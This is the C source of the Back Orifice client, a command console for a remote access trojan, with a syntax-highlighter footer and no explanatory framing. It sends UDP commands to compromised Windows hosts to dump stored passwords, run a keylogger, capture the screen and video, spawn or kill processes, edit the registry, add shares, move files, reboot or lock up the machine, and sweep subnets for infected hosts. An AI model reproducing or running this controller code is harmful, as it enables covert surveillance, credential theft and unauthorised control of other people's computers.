#include "config.h"
#include "bounix.h"
extern int udpsock;
extern int port;
extern unsigned long host;
extern char cwd[MAX_PATH];
extern char g_password[ARGSIZE];
void printhelp(void)
{
printf("\
Back Orifice Client v%s help: (Type help command for more help)\n\
BO commands:\n \
host ping pinglist status passwd quit sweep sweeplist\n\
File commands: \n\
dir del copy ren find freeze melt view tcpsend tcprecv\n\
Directory commands: \n\
cd rd md\n\
System commands: \n\
info passes dialog keylog reboot httpon httpoff lockup\n\
Network commands: \n\
netview netconnect netdisconnect netlist resolve sharelist shareadd sharedel\n\
Plugin commands: \n\
pluginexec pluginkill pluginlist\n\
Process commands: \n\
proclist prockill procspawn\n\
Registry commands: \n\
regmakekey regdelkey regdelval reglistkeys reglistvals regsetval\n\
Multimedia commands: \n\
listcaps capframe capavi capscreen sound \n\
Redir commands:\n\
redirlist rediradd redirdel\n\
Console application commands: \n\
applist appadd appdel\n\
", VERSIONSTR);
}
int executecommand(char *command, char *arg1, char *arg2)
{
unsigned long dest;
int x;
char buff[BUFFSIZE];
char buff2[BUFFSIZE];
char str[46]; /* you figure it out */
struct in_addr hostin;
struct hostent *hptr;
unsigned char *ptr;
FILE *file;
if (strcasecmp(command, "HELP" ) == 0 || strcmp(command, "?") == 0 )
{
if (!strlen(arg1) )
printhelp();
else
givehelpcommand(arg1);
}
else if (strcasecmp(command, "QUIT") == 0)
{
close(udpsock);
exit(0);
}
else if (strcasecmp(command, "HOST") == 0 )
{
/* Is it a hostname or a valid address? */
if((host=inet_addr(arg1))==(unsigned long)-1) {
/* Ain't an address, assuming hostname */
if((hptr=gethostbyname(arg1))==NULL) {
host = 0;
hostin.s_addr = host;
printf("resolver said: eat me.\n");
return(1);
}
printf("official hostname: %s address: %s\n",
hptr->h_name,
inet_ntoa(*(struct in_addr *)hptr->h_addr_list[0]));
if ( (host = *(unsigned long *)hptr->h_addr_list[0]) == (unsigned long)-1) {
host = 0;
hostin.s_addr = host;
printf("resolver returned bogus IP address!\n");
return(1);
}
}
if ((x = atoi(arg2))) port = x;
hostin.s_addr = host;
printf("New host: %s:%d\n", inet_ntoa(hostin), port );
}
else if (strcasecmp(command, "PING") == 0)
{
if (!sendpacket(TYPE_PING, "","", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "STATUS") == 0)
{
hostin.s_addr = host;
printf("Current Back Orifice Console Client status:\n Host: %s port %d\n",
inet_ntoa(hostin), port );
printf(" Remote dir: %s\n", cwd);
}
else if (strcasecmp(command, "DIR") == 0)
{
if (arg1[0] == 0)
sprintf(buff, "%s*", cwd);
else {
if (arg1[0] == '\\')
{
strncpy(buff, cwd, 3);
strcpy(buff+3, arg1);
} else if (strncmp(arg1+1, ":\\", 2) == 0 ){
strcpy(buff, arg1);
} else {
strcpy(buff, cwd);
strcat(buff, arg1);
}
x = strlen(buff);
if (buff[x-1] == '\\');
strcat(buff, "*");
}
if (!sendpacket(TYPE_DIRECTORYLIST, buff,"", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "CD") == 0)
{
if (arg1[0] == 0) {
puts("Must supply directory name");
return(1);
}
strcpy(cwd, arg1);
x = strlen(cwd);
if (cwd[x-1] != '\\');
strcat(cwd, "\\");
printf("New directory on host is %s\n", cwd);
}
else if (strcasecmp(command, "DEL") == 0)
{
if (arg1[0] == 0) {
puts("Must supply filename");
return(1);
}
fixfilename(buff, cwd, arg1);
if (!sendpacket(TYPE_FILEDELETE, buff,"", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "COPY") == 0)
{
if (arg1[0] == 0) {
puts("Must supply filename");
return (1);
}
fixfilename(buff, cwd, arg1);
if (arg2[0] == 0)
{
ptr = strrchr(buff, '\\');
ptr++;
sprintf(buff2, "%s%s", cwd, ptr);
} else {
fixfilename(buff2, cwd, arg2);
}
if (!sendpacket(TYPE_FILECOPY, buff,buff2, host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "FIND") == 0)
{
if ( (arg1[0] == 0) || (arg2[0] == 0) ) {
puts("Must supply file & pathname");
return (1);
}
if (!sendpacket(TYPE_FILEFIND, arg1,arg2, host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "FREEZE") == 0)
{
if (arg1[0] == 0 || arg2[0] == 0)
{
puts("Must supply source and destination filenames");
return(1);
}
fixfilename(buff, cwd, arg1);
fixfilename(buff2, cwd, arg2);
if (!sendpacket(TYPE_FILEFREEZE, buff,buff2, host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "MELT") == 0)
{
if (arg1[0] == 0 || arg2[0] == 0) {
puts("Must supply source and destination filenames");
return(1);
}
fixfilename(buff, cwd, arg1);
fixfilename(buff2, cwd, arg2);
if (!sendpacket(TYPE_FILEMELT, buff,buff2, host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "VIEW") == 0)
{
if (arg1[0] == 0) {
puts("Must supply filename");
return(1);
}
fixfilename(buff, cwd, arg1);
if (!sendpacket(TYPE_FILEVIEW, buff,"", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "MD") == 0)
{
if (arg1[0] == 0) {
puts("Must supply directory name");
return(1);
}
fixfilename(buff, cwd, arg1);
if (!sendpacket(TYPE_DIRECTORYMAKE, buff, "", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "RD") == 0)
{
if (arg1[0] == 0) {
puts("Must supply directory name");
return(1);
}
fixfilename(buff, cwd, arg1);
if (!sendpacket(TYPE_DIRECTORYDELETE, buff, "", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "INFO") == 0)
{
if (!sendpacket(TYPE_SYSINFO, "","", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "PASSES") == 0)
{
if (!sendpacket(TYPE_SYSLISTPASSWORDS, "","", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "DIALOG") == 0)
{
if ( (arg1[0] == 0) || (arg2[0] == 0)) {
puts("Must supply dialog box text and title");
return(1);
}
if (!sendpacket(TYPE_SYSDIALOGBOX, arg1,arg2, host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "NETVIEW") == 0)
{
if (!sendpacket(TYPE_NETVIEW, "","", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "NETLIST") == 0)
{
if (!sendpacket(TYPE_NETCONNECTIONS, "","", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "NETCONNECT") == 0)
{
if (arg1[0] == 0) {
puts("Must supply resource name");
return(1);
}
if (!sendpacket(TYPE_NETUSE, arg1, arg2, host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "NETDISCONNECT") == 0)
{
if (arg1[0] == 0) {
puts("Must supply resource name");
return(1);
}
if (!sendpacket(TYPE_NETDELETE, arg1, "", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "PROCLIST") == 0)
{
if (!sendpacket(TYPE_PROCESSLIST, "","", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "PROCKILL") == 0)
{
if (!sendpacket(TYPE_PROCESSKILL, arg1,"", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "PROCSPAWN") == 0)
{
if (arg1[0] == 0) {
puts("Must supply at least application name");
return(1);
}
sprintf(buff, "%s %s", arg1, arg2);
if (!sendpacket(TYPE_PROCESSSPAWN, buff,"", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "PASSWD") == 0)
{
if (arg1[0] == 0) {
g_password[0] = 0;
printf("Password removed.\n");
} else {
strcpy(g_password, arg1);
printf("New encryption password set to '%s'\n", g_password);
}
}
else if (strcasecmp(command, "REN") == 0)
{
if (arg1[0] == 0) {
puts("Must supply filename");
return(1);
} else {
fixfilename(buff, cwd, arg1);
if (arg2[0] == 0)
{
ptr = strrchr(buff, '\\');
ptr++;
sprintf(buff2, "%s%s", cwd, ptr);
} else {
fixfilename(buff2, cwd, arg2);
}
if (!sendpacket(TYPE_FILERENAME, buff,buff2, host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
}
else if (strcasecmp(command, "RESOLVE") == 0)
{
if (arg1[0] == 0) {
puts("Must supply hostname");
return(1);
}
if (!sendpacket(TYPE_RESOLVEHOST, arg1, "", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "SHARELIST") == 0)
{
if (!sendpacket(TYPE_NETEXPORTLIST, "","", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "SHAREADD") == 0)
{
if (arg1[0] == 0 || arg2[0] == 0) {
puts("Must supply share name and path");
return(1);
}
if (!sendpacket(TYPE_NETEXPORTADD, arg1,arg2, host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "SHAREDEL") == 0)
{
if (arg1[0] == 0) {
puts("Must supply share name");
return(1);
}
if (!sendpacket(TYPE_NETEXPORTDELETE, arg1,"", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "KEYLOG") == 0)
{
if (arg1[0] == 0) {
puts("Must supply log filename");
return(1);
}
if (strcasecmp(arg1, "STOP") == 0)
{
if (!sendpacket(TYPE_SYSENDKEYLOG, "","", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
} else {
if (!sendpacket(TYPE_SYSLOGKEYS, arg1,"", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
}
else if (strcasecmp(command, "REGMAKEKEY") == 0)
{
if (arg1[0] == 0) {
puts("Must supply key name");
return(1);
}
if (!sendpacket(TYPE_REGISTRYCREATEKEY, arg1, "", host, port ,udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "REGDELKEY") == 0)
{
if (arg1[0] == 0) {
puts("Must supply key name");
return(1);
}
if (!sendpacket(TYPE_REGISTRYDELETEKEY, arg1, "", host, port ,udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "REGDELVAL") == 0)
{
if (arg1[0] == 0) {
puts("Must supply value name");
return(1);
}
if (!sendpacket(TYPE_REGISTRYDELETEVALUE, arg1, "", host, port ,udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "REGLISTKEYS") == 0)
{
if (arg1[0] == 0) {
puts("Must supply key name");
return(1);
}
if (!sendpacket(TYPE_REGISTRYENUMKEYS, arg1, "", host, port ,udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "REGLISTVALS") == 0)
{
if (arg1[0] == 0) {
puts("Must supply key name");
return(1);
}
if (!sendpacket(TYPE_REGISTRYENUMVALS, arg1, "", host, port ,udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "REGSETVAL") == 0)
{
if (arg1[0] == 0 || arg2[0] == 0) {
puts("Must supply value name and data");
return(1);
}
if (!sendpacket(TYPE_REGISTRYSETVALUE, arg1, arg2, host, port ,udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "LISTCAPS") == 0)
{
if (!sendpacket(TYPE_MMLISTCAPS, "", "", host, port ,udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "CAPFRAME") == 0)
{
if (arg1[0] == 0) {
puts("Must supply bitmap filename");
return(1);
}
if (!sendpacket(TYPE_MMCAPFRAME, arg1, arg2, host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "CAPAVI") == 0)
{
if (arg1[0] == 0 || atoi(arg2) == 0) {
puts("Must supply avi filename and number of seconds");
return(1);
}
if (!sendpacket(TYPE_MMCAPAVI, arg1, arg2, host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "CAPSCREEN") == 0)
{
if (arg1[0] == 0) {
puts("Must supply bitmap filename");
return(1);
}
if (!sendpacket(TYPE_MMCAPSCREEN, arg1, "", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "SOUND") == 0)
{
if (arg1[0] == 0) {
puts("Must supply wav filename");
return(1);
}
if (!sendpacket(TYPE_MMPLAYSOUND, arg1, "", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "REDIRLIST") == 0)
{
if (!sendpacket(TYPE_REDIRLIST, "", "", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "REDIRADD") == 0)
{
if (arg1[0] == 0 || arg2[0] == 0) {
puts("Must supply input port and destination IP");
return(1);
}
if (!sendpacket(TYPE_REDIRADD, arg1, arg2, host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "REDIRDEL") == 0)
{
if (arg1[0] == 0) {
puts("Must supply redir id");
return(1);
}
if (!sendpacket(TYPE_REDIRDEL, arg1, "", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "APPLIST") == 0)
{
if (!sendpacket(TYPE_APPLIST, "", "", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "APPADD") == 0)
{
if (arg1[0] == 0 || arg2[0] == 0) {
puts("Must supply exe name and input port");
return(1);
}
if (!sendpacket(TYPE_APPADD, arg1, arg2, host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "APPDEL") == 0)
{
if (arg1[0] == 0) {
puts("Must supply app id");
return(1);
}
if (!sendpacket(TYPE_APPDEL, arg1, "", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "HTTPON") == 0)
{
if (atoi(arg1) == 0) {
puts("Must supply port");
return(1);
}
if (!sendpacket(TYPE_HTTPENABLE, arg1, arg2, host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "HTTPOFF") == 0)
{
if (!sendpacket(TYPE_HTTPDISABLE, "", "", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "SWEEP") == 0)
{
if (!strlen(arg1)) {
puts("Must supply subnet");
return(1);
}
return(pingsweepsubnet(arg1, udpsock, port));
}
else if (strcasecmp(command, "SWEEPLIST") == 0)
{
if (!strlen(arg1) ) {
puts("Must supply list filename");
return(1);
}
if ( (file = fopen(arg1, "rt")) == NULL ) {
perror("fopen");
return(1);
}
while (fgets(buff, BUFFSIZE, file) != NULL) {
if(buff[strlen(buff)-1]=='\n') buff[strlen(buff)-1]='\0';
if (pingsweepsubnet(buff, udpsock, port))
printf("Sweep of %s failed\n", buff);
}
if(fclose(file) == EOF) {
perror("fclose");
return(1);
}
printf("Full sweep ended.\n");
return(0);
}
else if (strcasecmp(command, "PINGLIST") == 0)
{
if (!strlen(arg1) ) {
puts("Must supply list filename");
return(1);
}
if ( (file = fopen(arg1, "rt")) == NULL) {
perror("fopen");
return(1);
}
while (fgets(buff, BUFFSIZE, file) != NULL)
{
if(buff[strlen(buff)-1]=='\n') buff[strlen(buff)-1]='\0';
if ( (dest = inet_addr(buff)) == (unsigned long)-1)
printf("Bad IP: '%s'\n", buff);
else
{
int s;
hostin.s_addr = dest;
printf("Pinging %s\n", inet_ntoa(hostin));
s=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
if (sendping(dest, port, s)) {
printf("Sendping failed for dest %s\n", inet_ntoa(hostin));
continue;
}
sleep(SWEEPDELAY);
getpong(s);
close(s);
}
}
if (fclose(file)==EOF) {
perror("fclose");
return(1);
}
printf("Pinging ended.\n");
return(0);
}
else if (strcasecmp(command, "REBOOT") == 0)
{
if (!sendpacket(TYPE_SYSREBOOT, "","", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "TCPSEND") == 0)
{
if (!sendpacket(TYPE_TCPFILESEND, arg1, arg2, host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "TCPRECV") == 0)
{
if (!sendpacket(TYPE_TCPFILERECEIVE, arg1, arg2, host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "LOCKUP") == 0)
{
if (!sendpacket(TYPE_SYSLOCKUP, "", "", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "PLUGINEXEC") == 0)
{
if (!sendpacket(TYPE_PLUGINEXECUTE, arg1, arg2, host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "PLUGINKILL") == 0)
{
if (!sendpacket(TYPE_PLUGINKILL, arg1, "", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else if (strcasecmp(command, "PLUGINLIST") == 0)
{
if (!sendpacket(TYPE_PLUGINLIST, "", "", host, port, udpsock))
return(getinput(udpsock));
else
return(1);
}
else
{
if (strlen(command) )
printf("Unknown command: '%s' (Type 'help' for assistance)\n", command);
return(1);
}
return(0); /* assume success */
}
int pingsweepsubnet(char *arg1, int udpsock, int port)
{
int dest;
char subnet[16];
char ipaddr[16];
char socks[255];
int x,y;
/* Find third octet and truncate */
strncpy(subnet,arg1,15);
x=0;
while((x<15) && (subnet[x]!='.')) x++;
x++;
while((x<15) && (subnet[x]!='.')) x++;
x++;
while((x<15) && isdigit(subnet[x])) x++;
subnet[x]='\0';
strcpy(ipaddr,subnet);
strcat(ipaddr,".255");
if ( inet_addr(ipaddr) == (unsigned long)-1 )
{
printf("Bad IP subnet: '%s'\n", arg1);
return(1);
}
printf("Sweeping subnet %s.*...\n", subnet);
for(y=0;y<7;y++) {
printf(" %s.%d -- %s.%d\n",subnet,(y*32)+1,subnet,(y*32)+32);
for(x=0;x<32;x++) {
sprintf(ipaddr,"%s.%d",subnet,x+1+(y*32));
socks[x]=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
if(sendping(inet_addr(ipaddr), port, socks[x])) {
printf("Sendping failed for dest %s\n", ipaddr);
}
}
sleep(SWEEPDELAY);
for (x = 0; x < 32; x++) {
getpong(socks[x]);
close(socks[x]);
}
}
printf(" %s.225 -- %s.254\n",subnet,subnet);
for(x=225;x<255;x++) {
sprintf(ipaddr,"%s.%d",subnet,x);
socks[x]=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
if(sendping(inet_addr(ipaddr), port, socks[x])) {
printf("Sendping failed for dest %s\n", ipaddr);
}
}
sleep(SWEEPDELAY);
for (x = 225; x < 255; x++) {
getpong(socks[x]);
close(socks[x]);
}
return(0);
}
syntax highlighted by Code2HTML, v. 0.9.1